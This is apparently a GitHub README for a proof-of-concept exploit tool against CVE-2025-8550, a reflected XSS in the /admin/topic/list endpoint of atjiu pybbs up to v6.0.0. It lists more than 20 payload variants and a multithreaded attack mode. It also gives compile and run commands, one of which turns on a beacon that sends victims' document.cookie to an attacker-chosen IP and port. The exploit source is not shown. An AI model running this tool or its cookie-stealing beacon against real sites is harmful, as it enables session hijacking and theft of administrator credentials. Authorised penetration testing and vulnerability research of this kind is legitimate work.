bytereaper77/cve-2025-8550Automated Proof-of-Concept exploit for CVE-2025-8550, a reflected XSS in atjiu pybbs. Features 20+ payload variations, cookie exfiltration, multithreading, and customizable CLI for penetration testing.
This repository hosts an automated Proof-of-Concept (PoC) exploit for CVE-2025-8550, a reflected Cross‑Site Scripting (XSS) vulnerability in atjiu pybbs (≤ v6.0.0). It targets the /admin/topic/list endpoint’s username parameter, which lacks proper input sanitization.
20+ Payload Variations: script, SVG, iframe, object, onerror handlers and more.
Automatic URL Encoding: ensures safe injection via libcurl’s curl_easy_escape.
Cookie Exfiltration (Optional): beacon injection to send document.cookie to an attacker‑controlled server.
Multithreading: uses pthreads to parallelize attempts and speed up testing.
Customizable CLI: powered by argparse, supports specifying:
-u / --url)-c / --cookies)-k / --cokpay)-i / --ip, -p / --port)-v / --verbose)# Compile the exploit binary
gcc exploit.c argparse.c -o CVE-2025-8550 -lcurl -lpthread
# Run against target
./CVE-2025-8550 -u http://<TARGET> -v [-c [COOKIE_FILE]]
#COOKIE SEND :
./CVE-2025-8550 -u http://TARGET -i <YOUR_IP> -p <YOUR_PORT> -v [VERBOSE_MODE] -k [PAYLOAD_COOKIE]
http://<TARGET> with your instance of atjiu pybbs.-k to enable the cookie‑stealing beacon (requires -i and -p).-c if no authentication cookies are needed.MIT License